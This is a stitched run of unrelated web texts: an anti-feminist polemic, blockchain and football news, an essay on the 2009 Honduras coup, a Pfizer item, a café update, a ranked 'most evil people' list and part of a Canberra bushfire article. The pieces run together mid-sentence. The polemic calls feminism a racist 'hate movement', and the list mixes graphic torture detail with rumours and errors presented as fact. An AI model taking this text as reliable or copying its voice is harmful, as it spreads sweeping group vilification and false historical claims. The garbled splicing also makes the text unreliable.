And that’s all men they lie about–which includes gay men as well as men of every single race.
And yes, my gay friends, this should be something you remember: feminism is implicitly racist. It always has been, for it is an inescapable conclusion of their “Patriarchy” theory (or their new favorite word, “intersectionality”) that not just gay men, but black men and brown men and “yellow” men often and routinely rape and brutalize women, or just laugh at the brutality and accept it–for real and not as dark humor or sarcasm or irony.
Indeed, ask a feminist some time to explain to you how “rape culture” works in the Black and Hispanic communities in North America. Watch how fast they change the subject or try to call you a racist for just asking that question.
And so now we finally see the rise of gay men who fight feminism, not just in private but in the wider world, with the growing and fearless #GaysAgainstFeminism.
A smart gay man should avoid feminists like he avoids any other kind of religious bigot. It’s heartening to see more and more gay men standing up for their fellow men.
Gay men owe you nothing, feminists.
N-O-T-H-I-N-G.
And you don’t get to play the race card anymore either, honey. The smart queers and dykes don’t care what color your skin is if you’re a bigot. And more and more of them are not just starting to feel it. They’re starting to say it. Without apology.
They are finally saying it without apology, because they know: they owe no apologies for it whatsoever. And the race card won’t work any better than the vagina card.
Because feminism is a hate movement. And it doesn’t care who it hurts.
Note: To find more on this small but growing movement, use Twitter and find #GaysAgainstFeminsm.For the first time ever, an entertainment studio will manage a transparent copyright platform on the Ethereum blockchain.
SingularDTV (S-DTV), a blockchain entertainment studio, is partnering with ConsenSys to create a smart contract on the Ethereum blockchain to better manage creative rights for film and television.
Zach LeBeau, S-DTV’s CEO, states in the release:
The development of smart contracts, particularly for entertainment rights management, is an ideal use case for blockchain technology. S-DTV will address today’s lack of transparency and fundamentally change the prominence of creative accounting in the entertainment industry, with a particular focus on benefiting independent productions. Our rights management platform will empower creators by giving them back control over their creative output.
Through this platform, the database will be able to track those connected to the film or television series, such as actors, writers, and investors, for revenue and royalty purposes. This database promotes transparency within the creative world every time content is viewed by giving everyone involved their fair share.
This revolutionary smart contract gives the artists control of their content. They will have a perfect view of who is receiving royalties of their work for every download or viewing.
This is not the first time ConsenSys have invested in a transparent creative rights platform. The venture production studio invested in Ujo Music, a live prototype that automatically distributes payments to contributors per download. Ujo Music launched with “Tiny Human”, a song by Grammy award-winning artist Imogen Heap.
S-DTV is currently developing its first series called “Singular”, an epic Sci-Fi drama about the human race’s quest towards The Singularity. The tale takes place between 2021-2045 C.E. as each character from all around the whole leads to the event when “humans achieve a ‘superintelligence’”.
Production is set to start in October 2016 and it is slated to be released in June 2017.In case losing to a conference rival by 27 points and falling to 0-6 wasn’t enough of a blow for the UCF football team, its fans showed their disappointment by not showing up for the Knights’ home game against UConn.
The announced attendance of 26,669 was the lowest at a home game since Nov. 25, 2011, when UCF beat the UTEP 31-14 in front of 21,127.
The streets surrounding Bright House Networks Stadium, normally backed up with heavy traffic, were clear before Saturday’s game. The majority of those who did attend left at halftime. There were only a few scattered groups of faithful supporters by the end.
“I didn’t buy their tickets, they did,” UCF coach George O’Leary said. “They can do what they want. I don’t think the kids noticed that. As long as the kids stay together, they don’t really care what other people think. They care about themselves and their teammates.”
Some who stayed continued to cheer, dance or clap. Others showed their dismay – one fan wore a brown paper bag over his head with eye holes cut out and “ |
the story says, the congress and supreme court proceeded with a legal process to remove the elected president and replace him until new elections could be held. This story has been taken up by the international press, despite its being patently untrue, and repeated ad nauseam in the hopes of giving legitimacy to a process that seeks to re-entrench an oligarchy feeling its power threatened for the first time in decades.
The U.S.S. Honduras
The central issue at stake in Honduras today – and the spark for the oligarchy’s risky decision to carry out the coup in June – is the increasingly adamant insistence on the part of Honduran social movements for a constituyente, the striking of an assembly to re-write the constitution. It was, indeed, this very question that was to be put to a non-binding referendum on the morning of the coup and it was expected that the people would support the idea overwhelmingly. Like many of its Central and South American neighbours, Honduras’ principle legal code was written during a period dominated by U.S. Cold War imperialism and local comprador quasi-fascists. The legacy of the Operation Condor/School of the Americas era was, among so many other tragedies, legal and political structures that ensured the continued dominance of the elite few and Honduras was a perfect case study.
In fact, the current constitution of Honduras was ratified in 1982, during the period in which it earned the nickname ‘U.S.S. Honduras.’ The most successful resistance group in Honduras in the 1970s was called the National Federation of Honduras Peasants (FENACH) and wasn’t able to muster the kind of strength that the Sandinistas in Nicaragua built, nor even to achieve the limited level of challenge of the guerillas in Guatemala or El Salvador. As a result, Honduras became the perfect base for U.S. operations in Central America, and indeed the Contra Wars against Nicaragua were waged from the U.S. military base at Palmerola, just outside of Tegucigalpa, among countless other interventions and terror campaigns in the region.
In addition to the 18 military bases it established and the 10,000 American troops stationed there, the U.S. also provided the Honduran armed forces with over $100-million between 1980-84. This infusion of money and technical support to the military and business elite reinforced the strength of the oligarchy in Tegucigalpa and led to dramatic increases in poverty, inequality and political repression. The 1982 constitution was written after decades of military dictatorship while Honduras was playing host to a U.S.-led paramilitary contra force of over 15,000 soldiers trained in what we now call ‘counter-insurgency’ – specializing in campaigns of terror against primarily poor and ill-equipped guerilla forces and their supporters. During that period, according to Joan Kruckewitt, “the use of repression, instead of concessions and reform, became the norm” and that “the military emerged from the period of U.S.-led militarization as the most powerful sector in the country, with few checks and balances to restrain them.”[1] Indeed, between 1981-84, while the new constitution was being written, ratified and established into political order, the military carried out 214 political assassinations, 110 ‘disappearances,’ and 1,947 illegal detentions.
Given that context, calling the 1982 constitution ‘representative’ of any but the most elite strata of Honduran society would be patently absurd; the vast majority of people in the country were living in abject poverty and ceaseless fear of their own soldiers and police. But as the political climate in Latin America has shifted, and as new openings for emancipatory projects have emerged, Hondurans have become increasingly insistent on the need to re-establish the country on their own terms. Social movements centered around trade-unions, human rights and campesino groups increasingly drew people from a wide variety of Honduran civil society into a broad movement for significant reform, and had their greatest successes between 2005-2008 under President Manuel “Mel” Zelaya.
June 28th and the Demise of Democracy
Perhaps the most interesting thing about June 28th was the way that it created Mel Zelaya as a popular figure in Honduras. He was elected President in 2005 as a member of the Liberal Party, one of the two primary parties, neither known for any history of radicalism. Zelaya’s own background was as a junior-member of the oligarchy, a wealthy rancher from the south, and his long political career had never shown any signs of divergence from the standard conservatism of Honduran politics. In fact, the only thing that separated Zelaya from someone like Roberto Micheletti – the tremendously unpopular figure who emerged as de facto President after the coup – was that he recognized the growing popularity of the movements for social reform. His decisions to raise the minimum wage, to declare a moratorium on foreign mining concessions and to veto a law banning birth-control pills were not simply manifestations of his own radical spirit, no matter how noble his intentions may have been.
No, Zelaya executed in a calculating way – through undeniably positive – political decisions that kept him palatable to the people on whom his support relied. Indeed, he relied on that support increasingly after his support for the constituent assembly broke him from his allies in the Liberal Party. But Zelaya before June 28th was simply a means to an end for the social movements in Honduras – a politician who had proven to be malleable to demonstrations of popular politics. His endorsement of the constituyente was the most important move he made and, in fact, he conducted the process with due diligence to the existing constitution and, despite its being repeated in every AP news bulletin since the coup, it never contained even the possibility of giving Zelaya another term in office.
The process was to be as follows: on June 28th, Hondurans would vote in a non-binding referendum on whether they supported the addition of a fourth ballot in the general elections scheduled for Nov. 29th. Normally, Honduran elections feature three ballots, corresponding to each of the three levels of government. If the referendum came back with a strong ‘yes,’ Zelaya would have added the fourth ballot asking the question “do you support the creation of a national constituent assembly to re-draft the constitution?” Accordingly, the constitution could not have possibly been changed before the Nov. 29th elections, and so Zelaya could not have possibly stood for re-election. Furthermore, the primaries for that election had already taken place and, again, Zelaya’s name was not put forward – even had he wanted to, it was illegal.
The notion that Zelaya intended to manipulate the process to stay in power is patently absurd. But the Honduran Congress, packed with members of the oligarchy, felt that the re-opening of the constitution could represent a real threat to their stranglehold on power and refused to accept the idea. Zelaya, in response, appealed directly to the people – implicitly rejecting the legitimacy of the Honduran form of representative democracy that had brought him to power in the first place – and vowed to pursue the constituyente if the people asked for it.
Of course, that process never went ahead, because the morning that the first non-binding poll was supposed to happen, Zelaya was abducted by the military and flown to Costa Rica. Roberto Micheletti was sworn in as de facto President, and the referendum was cancelled. Dramatic footage from that morning showed people in the early hours of the day, coming out to vote and finding the military in the streets – outrage turned to despair which, in turn, was channeled into absolute determination to resist this transparently coercive undermining of popular will. Demonstrations erupted in the immediate aftermath of the coup, and the golpista regime expected them to last for only a few days. Unlike Zelaya, they underestimated the strength and commitment of the Honduran movement for reform.
Resistencia!
“I’m proud that Hondurans are usually so peaceful, but I’m even more proud that we’re finally standing up for ourselves.” – Rosa Mayda Martinez, office worker, Jutiapa.
What followed was the largest sustained demonstration in Central American history. For 156 straight days, Hondurans took to the streets of Tegucigalpa. The numbers fluctuated from as high as hundreds of thousands to the still impressive thousands that were protesting right up to the day of the ‘elections’ on Nov. 29th. Predictably, they met widespread and violent repression. Between June and November, 33 people were killed in political violence and hundreds more were detained, beaten, kidnapped, raped and otherwise victimized by an increasingly militarized state apparatus. In September, President Zelaya returned to the country and took refuge in the Brazilian embassy, where he still remains, guarded by police who are under orders to arrest him the moment he leaves Brazilian territory.
There is much more to be said about the nature of the resistance than space here permits. For the time being, it will have to suffice to say that the coup produced the unintended consequence of uniting an otherwise fragmented group of organizations into a broad coalition – the Frente Popular Nacional de Resistencia (National Popular Resistance Front) – which has become the most important popular organization in Honduras. Its members come primarily from the poorest classes – workers and campesinos – but are also drawn from the relatively small ‘middle’ classes, including teachers, lawyers, doctors, left-liberal politicians and civil servants etc. They have worked closely with local human rights organizations and some foreign NGOs, but they have maintained absolute autonomy from foreign interlocutors (whatever their intentions) in defiance of the characterization of the Frente as a Chávez-exported ring of professional troublemakers and socialists.
The demonstrations have not been limited to Tegucigalpa. The second largest city in Honduras, San Pedro Sula, is a major industrial center and is the epicenter of foreign-owned Honduran maquiladora-style production. Protests have erupted there regularly, including one on the day of the Nov. 29th ‘elections.’ It was repressed with tear gas and rubber bullets injuring dozens of people, including a Reuters photographer from Brazil. Furthermore, rural Hondurans have been active in the resistance, blocking highways, distributing information and protesting outside government offices. Only a few areas of Honduras have not seen major movements against the coup – primarily Roatan and the Bay Islands, a ring of tropical island destinations off the north coast, dotted with, and politically controlled by, foreign-owned resort hotels (many of them Canadian).
The foreign and local elite who have turned the islands, and most of their inhabitants, into tools for their personal profit have been the most vocally supportive of the coup. They pump out misleading or, at best, willfully ignorant anti-Zelaya rants everywhere they can, notably on internet news sites; my own reports have been consistently attacked and, in one instance, they even went as far as to threaten my life. These attacks are most likely motivated by the insistence of the social movements for tax reforms that would bring a share of their profits back to the state for the purposes of re-distribution through increased support for education, housing, health care and other social programs. Foreign-owned companies currently operate in an almost-entirely tax free environment, one of the many grievances that the proponents of the constituyente were hoping to redress.
The Re-Emergence of State Terror
“In my case, I am known by the police, they can do anything to me. I thought about moving to a new house with comrades, do you think this is a good idea?” – Rosner Giovanni Reyes, member of Resistance, in a meeting with COFADEH representatives, Nov. 28th, 2009.
But the golpistas and their beneficiaries are bound and determined to block that process indefinitely. Repression of the resistance has been violent and thorough. Human rights groups like the Committee of the Families of the Disappeared and Detained in Honduras (COFADEH) have worked tirelessly since June 28th to produce detailed documentation of the brutality. Their reports, not surprisingly, fall on deaf ears. The campaign of state terror they have documented is too far-reaching to possibly reproduce here, but they provided a very useful summation in a report on Nov. 28th. This report, produced by the five leading human rights groups in Honduras, was presented to the Tribunal Supremo Electoral (TSE) on the day before the ‘elections’ in a formal declaration demanding that the elections be cancelled on account of the impossibility of their being fair and free in the context of the coup and state terror:
“(These elections are being conducted) in a context of grave and systematic violations of human rights. Since the day of the coup, we have documented 33 violent and politically motivated deaths, torture, cruel and inhuman and degrading treatment, sexual assault and restrictions on freedom of association, assembly, expression, opinion and more.”[2]
They go on to note that holding elections under these circumstances is absurd, given that the same people who are committing this violence are those who are supposed to be responsible for running fair elections. They also note some of the most high-profile cases of repression. Carlos H. Reyes, a member of the social movements and initially an independent Presidential candidate, was hospitalized after a brutal blow from police in a peaceful demonstration. Ulises Sarmiento, a well-known member of the Liberal Party who sympathized with the resistance had his home ransacked by soldiers with automatic weapons in the province of Olancho. Eliseo Hernandez Juarez, a vice-mayoral candidate, was assassinated.
Not surprisingly, the violence has not been limited to high-profile politicians. Victor Corrales Mejia and his son, members of the resistance, were arrested the night before the elections and beaten in their home. Police came to their home, hit Victor in the head and spine with batons and threatened to kill him. “They kicked in my door, they threw me out like I was a sack of corn, they want to intimidate us,” he told me. “But our desire for democracy is stronger than they are.” In Comayagua, where the resistance is strong and led by teachers, campesinos and women’s and indigenous rights activists, the Mayor threatened to give the names and addresses of anyone who interfered with the election to the military. In fact, the military sent a letter a month before the elections demanding such lists from all the Mayors across the country. Meanwhile, state henchmen shot Alejandro Villatoro, the owner of Radio Globo – one of the few media outlets brave enough to speak out against the coup – and stole the computer from which the station was broadcasting.
Indeed, Radio Globo had by that point resorted almost exclusively to broadcasting online from secret locations, after months of repression. Radio Globo, along with Radio Progreso and Radio Uno, television station Canal 36 and newspaper El Libertador are among the media outlets that have faced relentless repression since the coup. Some, like Canal 36, have shut down altogether after having equipment destroyed, signals interrupted, offices ransacked and editors assassinated. Even organizations that are not directly linked to the resistance are being targeted in the context of police impunity. Red Comal, a campesino organization that helps small farmers to market their produce and runs educational campaigns designed to build networks between campesinos and social movements, had its offices attacked, computers and money stolen, and employees beaten. Miguel Alonzo Macias, the director of the organization, explained to me, “we teach people why they are poor. For that, we are a threat.”
Whitewashing the Coup
“No to the coup regime elections! Free men and women of Honduras, they want to use your vote to legalize the coup. Each vote is a blow to your freedom.” – Resistencia poster.
Given the context described above, it is hard to imagine how anyone could seriously claim that ‘the event’ on Nov. 29th could be called a free or fair election. On the day of the vote, the Frente urged Hondurans to stay home and boycott la farsa (farce). And that is precisely what happened – on a day that is normally a boisterous street party filled with red or blue flags representing to the two primary political parties, Honduras was quiet and subdued. Most polling stations had more military and police than civilians. The TSE itself admitted that only around 1.7 million people voted, in a country of nearly 8 million, with 4.6 million eligible to vote. That makes a turnout of around 35%, the lowest since the end of military dictatorships in the early 80s. Inexplicably, on the night of Nov. 29th, the TSE announced a projected turnout of 60%, which became the number repeated in almost every international news source. Fox News in the United States was one of the few exceptions, reporting the absurd figure of 70% – no one has yet been able to explain where that number came from.
A few days after the election, video journalist Jesse Freeston of the Real News was able to get into the TSE headquarters and produced a video documenting fraudulent reporting of voter totals, designed to create the illusion that Hondurans had not boycotted the election. This documentation is important in demonstrating to the international community that these elections should never be recognized as legitimate in any way. But it is totally unnecessary for Hondurans themselves, who knew long before the elections ever took place that they would be a sham, and had that knowledge confirmed on Nov. 29th. As the human rights organizations explained in their Nov. 28th document:
“holding reliable elections does not depend solely on the implementation of sophisticated technology, international observers or the strict adherence to the formal process; it also requires knowing that there was a clean process preceding the elections, produced by a climate of full freedom, one where candidates and the electorate can express themselves openly and in a context of absolute equality, without fear of assassination, torture, detention and incarceration.”[3]
Indeed, an interview I conducted with Edward Fox, a former USAID official, Republican campaign financer and an elections observer sent from Washington to legitimate the process, demonstrated quite plainly that the few organizations who went to Honduras for Nov. 29th were not interested in investigating what was happening away from the polling stations. As we spoke on camera from Miami International Airport on Dec. 1st, Fox claimed to know nothing about “alleged” human rights violations, cast suspicion on the groups documenting the violence despite not being able to name a single one of them, and justified his endorsement of the elections by telling me that he had spoken to the U.S. Ambassador who is, Fox reminded me, “there all the time.” His organization, the Washington Senior Observer Group, reported that they:
“witnessed the enthusiastic desire of thousands of Honduran citizens to cast their ballots. Many took time to thank us for our presence today. Without exception, they expressed confidence in the electoral system, pride in exercising their right to vote, and a profound hope that their election is a decisive step toward the restoration of the constitutional and democratic order in Honduras.”[4]
They further asserted that they saw “no voter intimidation by any group, individual, or party” and that their observations “coincide with those reported by other observers and by the media throughout Honduras.” Nonetheless, when I asked Edward Fox about those other observers, the groups who have been documenting the violence and terror, he admitted that he had not spoken to any of them. Avoiding them must have taken some effort, because when those groups presented their report to the TSE on Nov. 28th, the U.S. observers were there; in fact, the human rights delegation had their meeting scheduled for 2:00 p.m. but had to wait until well after 4:00 p.m. because TSE officials were meeting with the U.S. observers. We were all there together, and at one point I overheard the U.S. observers chatting amongst themselves derisively about the human rights group and about Honduras in general.
Looking Ahead
“Where are the people? The people are in the streets, struggling for their freedom!” – Resistencia chant.
Sadly, though not surprisingly, reports like Fox’s bolstered the positions taken by governments of the global North and their right-wing allies in Latin America. Both have fallen all over themselves to legitimate the election process and, in so doing, legitimate the coup itself. Canada’s foreign affairs minister Peter Kent responded to the elections announcing that Canada:
“congratulates the Honduran people for the relatively peaceful and orderly manner in which the country’s elections were conducted. While Sunday’s elections were not monitored by international organizations such as the Organization of American States, we are encouraged by reports from civil society organizations that there was a strong turnout for the elections, that they appear to have been run freely and fairly, and that there was no major violence.”[5]
Much more needs to be said about Canada’s relationship to Honduras and the golpistas. A petition, calling for non-recognition of the elections is circulating and has garnered nearly 400 names – a small step toward building public awareness of Canada’s complicity in this desecration of democracy and human rights.
In the meantime, a death squad killed five more people on a street corner on Dec. 6. A human rights worker with links to Amnesty International was murdered on Dec. 14. The teenaged daughter of a critical journalist was found dead on Dec. 16. Repression has increased and turned even more vicious and calculated since the farce elections; the regime has evidently been emboldened by their successful misrepresentation of the fiesta democratica and the willingness of the international media to ignore the reality facing the majority of Hondurans. Nonetheless, the resistance continues, having realized long ago that this will be a long struggle. It is hard to predict at this point what shape the struggle will take in the coming months, though it is clear that the Jan. 27th transfer of power to golpe-President-elect Pepe Lobo – Pepe Robo (the Robber) as the walls call him – will be another flashpoint for the resistance. “The police keep telling us they will come to our homes and take us away, and it makes us want to run,” says Francisca, a high school teacher in Comayagua. “But we have worked too hard for too long to build the homes we have.” •
Tyler Shipley did research and human rights observation in Tegucigalpa with a delegation organized by Rights Action, reporting on the resistance to the coup and the Nov. 29 elections. The entire photo essay “Honduras Police State – A Week In Pictures” is at available at toronto.mediacoop.ca.
NotesPfizer Inc., the world’s largest drug maker, has started offering its impotence drug Viagra through a company-sponsored website to combat counterfeit versions that are sold online. Men with prescriptions for the erectile-dysfunction medicine can order the drug at Viagra.com. The prescriptions will be verified and completed by Woonsocket, Rhode Island-based CVS Caremark Corp., the largest U.S. provider of prescription drugs.
Can you tell which two of these pills are counterfeit? In a first for the drug industry, Pfizer Inc. will sell the erectile dysfunction pill Viagra directly to patients on its website, to fight the sale of counterfeits, such as the ones on the left, top and bottom. ( Elise Amendola / AP )
“There are almost 24 million searches a year for Viagra online,” said Victor Clavelli, senior director in Pfizer’s primary care unit, said in a company statement. By helping men obtain Viagra through the official website, the company seeks to “rein in the distribution” of fake versions of the drug. Pfizer in 2011 conducted a chemical analysis of pills purchased from 22 websites that ranked high in an online search for the phrase “buy Viagra.” The analysis found that roughly 80 per cent of the pills claimed to be Viagra were counterfeit and didn’t contain full doses of the active ingredient as advertised, the New York-based company said in the statement. Sales of Viagra were $2.05 billion in 2012, Pfizer reported in a regulatory filing.
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The website “is providing a resource for patients to be able to get their prescription in a safe and legitimate way,” Jennifer Kokell, a spokeswoman for Pfizer, said in a telephone interview. “We expect to learn from this.” Pfizer shares rose less than 1 per cent to $28.94 at 11:48 a.m. ET.South Side is fast becoming the neighborhood hangout destination of its residents’ dreams, as cozy-up-with-something-delicious locales like White Horse Tavern, Chef Mamusu’s and Perk Coffee & Lunchbox pop up from Woodland Heights to Bon Air. Next month, the area will see another fun change: a haven for checking out live, local music while drinking craft beer and crushing a juicy burger. The venue itself, however, is not new. Westover Hills coffeehouse taZa Coffee 'n Creme is revamping its menu and space to fill a bigger niche in the community, and to give families a good option for going out.
“Oct. 5 represents our fifth year here, and while we’ve continued to grow and add offerings, we’re really trying to make changes for that milestone," explains co-owner Ben Spencer. "We’ve expanded our kitchen, gotten a stove, an oven, a fryer — we were just using a griddle — so we can improve menu offerings. We’ve also added an area where we’ll be serving craft beer from eight taps in the facility. With the space we have, which is big — 2,500 square feet — we can open later, have more live band events, provide a venue for the Westover Hills area to come for entertainment.”
No launch date is set, but sometime around the fifth anniversary, burgers (both meaty and non), fries, a range of vegetarian options and an extended selection of healthy children’s fare will beef up the menu, which currently includes Boar’s Head deli fare and breakfast sandwiches. Gelati Celesti’s ice cream is also available there, as well as go-to staples from other local vendors: Cupertino’s bagels, Blanchard’s coffee, and Dixie Donuts (yes, doughnuts are a staple, and I’ll stand by that statement forever and always). The upcoming beer selection will be from regional breweries like Hardywood, Blue Mountain and Center of the Universe, with Blue Bee Cider rounding things out for the non-beer inclined. Taps will rotate seasonally.
The final change will be a renaming of the space, as Spencer and his partner John Cherenzia field frequent calls for sound-alike eatery Tazza Kitchen — especially now that the unrelated restaurant has a South Side location. The official name is as of yet unconfirmed, but it will transform the coffee shop to “café” status.
TaZa Coffee 'n Creme is located at 5047 Forest Hill Ave. Check on its progress at tazacnc.com, or head over and grab a bite from the new menu after the Oct. 5 anniversary.Vote who you think is the most evil.
(polls)
25 Elizabeth Bathory
Elizabeth Bathory was a countess who lived in the Carpathian Mountains. She was one of the inspirations of Dracula and her nickname was Countess Dracula. She was possibly the most prolific serial killer in history. She believed that blood on her skin made her fresher and younger. She was responsible for the killing of 650 girls; many were tortured for weeks and were often naked when they were tortured. They were forced to eat their own flesh. She sometimes drank the blood of the girls and stabbed them with needles. Some had their face, hands and private parts burned and bit their flesh and private parts. Many of them starved to death, others were burned or froze to death naked. She might have eaten some of her servants. It is possible that she bathed in blood. She was never put on trial, but was forced to stay in one room for the rest of her life. She died 4 years later.
24 Talat Pasha
He was the Grand Vizier of the Sultan in the Ottoman empire from 1917 to 1918. In 1915, Talat declared an order to wipe out the Armenian race. People were whipped, tortured, robbed, raped and killed. All of the Armenians were forced into concentration camps. People were overloaded with supplies and forced to trudge miles with no food and they were killed if they couldn’t continue. People were naked when they marched. The whole male population of Angora was exterminated. Many were forced to rape family members. People were killed by bayonets, clubs, axes, hammers, spades, scythes, and saws. Many had their private parts and sexual organs cut off. Tens of thousands were burned, drowned, poisoned, dismembered, crucified, boiled and beaten to death. Out of the population of 2.5 million Armenians, 1 to 1.5 million people were killed. Talat was assonated in 1921 by a Armenian assassination squad.
23 Josef Mengele
He was a physician in the concentration camp Auschwitz and the doctor known as the “Angel of Death.” He was in charge of selecting Jews to be sent to concentration camps or to be killed. He practiced many experiments on people. One of the most common experiments was on twins. He would find the similarities and differences in the genetics of twins, as well as seeing if the humane body could be manipulated. There were about 3,000 twins, only 200 survived. The twins were arrange by sex and age. During the experiment, he would pour chemicals into the eyes of the twins to see if it would change their colors into sewing them together in hope to create conjoined twins. He sometimes tried to change the sex of the twins. He sometimes forced parents to kill their children. He tortured children to see how long they could survive. He often beat prisoners to death personally. He sent over 400,000 people to their deaths in the gas chambers. Mengele escaped with his family to South America and lived there the rest of his life. It is possible that he used 88 twins in his medical experiments there. He died from a stroke in 1985 while swimming in the Brazilian ocean.
22 Reinhard Heydrich
Reinhard Heydrich was the chief of the Reich Main Security Office, the second most powerful person in the SS and the mastermind of the Final solution. He was one of the highest ranked of all the Nazis and was responsible for many war crimes. His actions caused the deaths of millions of people. He was responsible for the mass murder of Soviet officials and Russian Jews during Germany’s invasion of the Soviet Union, which killed over a million people. He forced 60,000 Jew to leave Germany and go into Poland, where they were sent to Ghettos. As he chaired the Wannsee Conference, he presented a plan of transportation and deportation of 11 million Jews from every country in Europe to be worked to death or killed. Heydrich thought of the pretext to invade Poland, which killed over 80,000 people and started World War II. There was an assassination attempt on him in 1942. He survived the attempt to kill him, but died 9 days later. In response to his death, Nazis killed nearly everyone in the village of Lidice.
21 Osama bin Laden
Osama bin Laden was an Islamic terrorist leader that lead the terrorist organization called the Al-Qaeda. He is responsible for the 9-11 attack, which injured more than 6,000 and killed about 3,000. He is also responsible for bombing attacks on the United States Embassies in Dares Salaam, Tanzania, and Nairobi, Kenya. 212 people were killed and 4,000 were injured. He sponsored the Luxor massacre of 17 November, which killed almost 70 people. Osama has caused other Al-Qaeda bombings throughout the world. The 2004 Madrid train bombings, which killed 191 people and injured 2,050. In October 2002 in Bali, 3 bombs exploded, killing 202 and injuring 209. The 2004 SuperFerry bombing killed 119 people. Thousands of Iraqis have died from Al-Qaeda bombings. In 2007 alone, bombs exploded in Qahtaniya and Jazeera, Iraq, killing 796 and injuring 1,562 people. Osama encouraged other Terrorist groups to attack the United States. He caused the War on Terror, which killed 127,170 to 1.2 million people. Osama was killed on May 2, 2011.
20 Saddam Hussein
Saddam was dictator of Iraq from 1979 to 2003. During that time, about 2 million people died as a result of his actions. He authorized many attacks on people like the chemical attack on Kurdish village of Halabja, which killed 5,000 people. Saddam’s 1987-1988 campaign of terror against the Kurds killed 50,000 to 100,000. An Amnesty International report said, “victims of torture in Iraq are subjected to a wide range of forms of torture, including the gouging out of eyes, severe beatings, and electric shocks… some victims have died as a result and many have been left with permanent physical and psychological damage.” Saddam also had approximately 40 of his own relatives murdered. He executed over 400,000 Iraqis. Many of them were tortured to death and filmed so he could watch them at his house. In 2006, Saddam was hanged after being found guilty for being convinced of crimes against humanity by the Iraqi Special Tribunal.
19 Heinrich Himmler
Heinrich Himmler was the head of the SS, the second most powerful Nazi and the architect of the Final Solution. He, more than anyone, encouraged and facilitated Adolf Hitler’s decision to implement the Final Solution to the Jewish question, as well as other programs of ethnic cleansing that destroyed millions of lives during World War II. He was responsible for 6 to 7 million deaths of Poles, Russians, communists, and other groups whom the Nazis deemed unworthy to live including people with physical and mental disabilities. Himmler once said “The decision, therefore, lies here in the East; here must the Russian enemy, this people numbering two hundred million Russians, be killed on the battle field and person by person, and made to bleed to death”. His house contained furniture and books made from the bones and skins of his Jewish victims. Himmler committed suicide in 1945 by eating poison.
18 Adolf Eichmann
Adolf Eichmann was the architect of the Holocaust. He was in charge of rounding up Jews into and forcing them into ghettos and concentration camps. He was responsible for day-to day organization of the Final Solution. He organized the registration, cremation and transport of Europe’s Jews. From May until July, 1944 Eichmann organized the deportation and murder of more than 400,000 Hungarian Jews. He was responsible for 5 to 6 million Jewish deaths. He would leap into his grave laughing because the feeling that he had 5 million Jews he killed filled his heart with gladness and joy. He once said that he would even kill his father if he was ordered to do so. He escaped and made his way to Argentina and lived under the name Ricardo Klement for 15 years. He was captured in May 1960, Israeli Security captured him and took him to trial. He was tried for 15 charges and hanged.
17 Maximilien Robespierre
He was the leader of the French Revolution. Before he became a tyrant, he wanted the people of France to have freedom and rights but when he gained power his personality changed and he became obsessed with guillotining people. He began to create a reign of terror, a 10-month period in which mass executions were carried out. He also began to see everyone including friends as enemies. People were guillotined for not supporting the French Revolution, hoarding, desertion, rebellion, and other things he saw as crimes. He guillotined entire families of aristocrats and ordinary people. He even guillotined his closest friends. Most were killed without trials. As many as 40,000 were either executed or died in prison including King Louis XVI and Queen Marie Antoinette. He was also responsible for hundreds of thousands that died in battles during the Revolution. Under his orders, his men attacked Vendee, killing well over 100,000 men, women and children. He believed that killing people was better than forgiving people. Ultimately, in 1794, Robespierre was guillotined without trial.
16 Kim Il Sung
He was dictator of North Korea from 1948 to 1972. Kim Il Sung started the Korean War, which killed 3 million people. After the war, he brainwashed the people of North Korea into idolizing him, even though he made the country a lot worse than it was before. He killed all of his officers and rivals. In addition, he exiled or executed 90% of his generals that fought in the war. More than 200,000 political prisoners were forced into concentration camps. People were forced into concentration camps for something as little as dropping a picture of Kim Sung accidentally on the ground. If someone committed a crime, the person’s children and the children’s children would also be killed or sentenced to life imprisonment. Prisoners were starved, tortured or worked to death. Prisoners were sometimes forced to kneel in a box motionless for months until he or she dies. Hundreds of thousands were killed by firing squads and in concentration camps. Of the population of 22 million Koreans, 900,000 to 3.5 million have died in a famine. Kim Il Sung died in 1994 of a heart attack, which was brought on by a row with his son Kim Jong Il, who has proven that he is worse than his father.
15 Ayatollah Ruhollah Khomeini
He was the religious leader of Iran from 1979 to 1989. He was also the leader of the 1979 Iranian Revolution, which killed 3,000 to 60,000 people. The Shia Islamic Law had a lot of harsh rules for the normal people. Men and women had strict dress codes, citizens lost equal rights and met with very harsh punishments, were brutalized, tortured and killed. People were imprisoned and tortured for listening to music. People were lashed 100 times for kissing in public. People were tortured and killed if they did not believe in Allah. People were shot, hanged, blinded, gassed, stabbed in the chest, stoned to death and burned alive. People had their hands cut off for stealing. Women had their faces slashed or burnt by acid. People were killed by machine guns, knives, clubs, cutters, and acid. In the 1988 Iranian Massacres, Khomeini ordered that every prisoner that did not repent anti-regime activities should be killed. About 30,000 people were killed in 5 months while thousands of others were killed for other reasons including children that were hanged from cranes. His followers held 52 Americans captive for 444 days |
6] The pilot had head injuries and underwent emergency surgery at Canberra Hospital.[7]
Both Stanhope and Lucas-Smith received the Royal Life Saving Society's rescue medal to commemorate their bravery in the rescue. McKenzie received the society's highest award, the Bravery Cross,[8] which recognises undertaking a rescue in an aquatic environment under circumstances that endanger the rescuer's life.[9]
On 17 January, the Emergency Services Bureau (ESB) released its final media release prior to 18 January at 8:50 pm.[10] This media release differed to any previous one in format and content. It also provided several clues that were overlooked in the assessment of the risk Canberra faced. For example, one point of the release stated that bushfire logistical support staging areas were being relocated from Bulls Head and Orroral Valley (far outside urban Canberra) to the North Curtin District Playing Fields (far inside urban Canberra),[11] signalling both a major retreat by fire fighters and pointing to imminent danger to the city itself.
Events of 18 January [ edit ]
Woden Town Centre
Canberra's suburban hills engulfed in flames during the bushfires.
ACTFB firefighters hosing down the roof of the Emergency Services Bureau.
The morning of Saturday 18 January 2003 was hot, windy and dry. Temperatures as high as 40 °C (104 °F) and winds exceeding 80 kilometres per hour (50 miles per hour), plus a very low relative humidity, were the main weather features of the day. Two fires continued to burn out of control in the Namadgi National Park, with the entire park, along with the Tidbinbilla Nature Reserve, being closed due to the threat. A second fire, in the Brindabella Ranges, was threatening to break containment lines.
By 9 am on the morning of Saturday 18 January, burned leaves appeared on lawns in houses in the Weston Creek, Kambah, and Tuggeranong suburbs bordering the western extremity of Canberra. By 10 am, news helicopters were overflying Duffy and reporting news of the fires interstate and internationally, but no news was available locally.
Throughout the day, the fires burned closer to the fringes of Canberra's suburbs, and there was no sign of authorities gaining control of the situation. At around 2 pm, police evacuated the township of Tharwa to the south of Canberra.
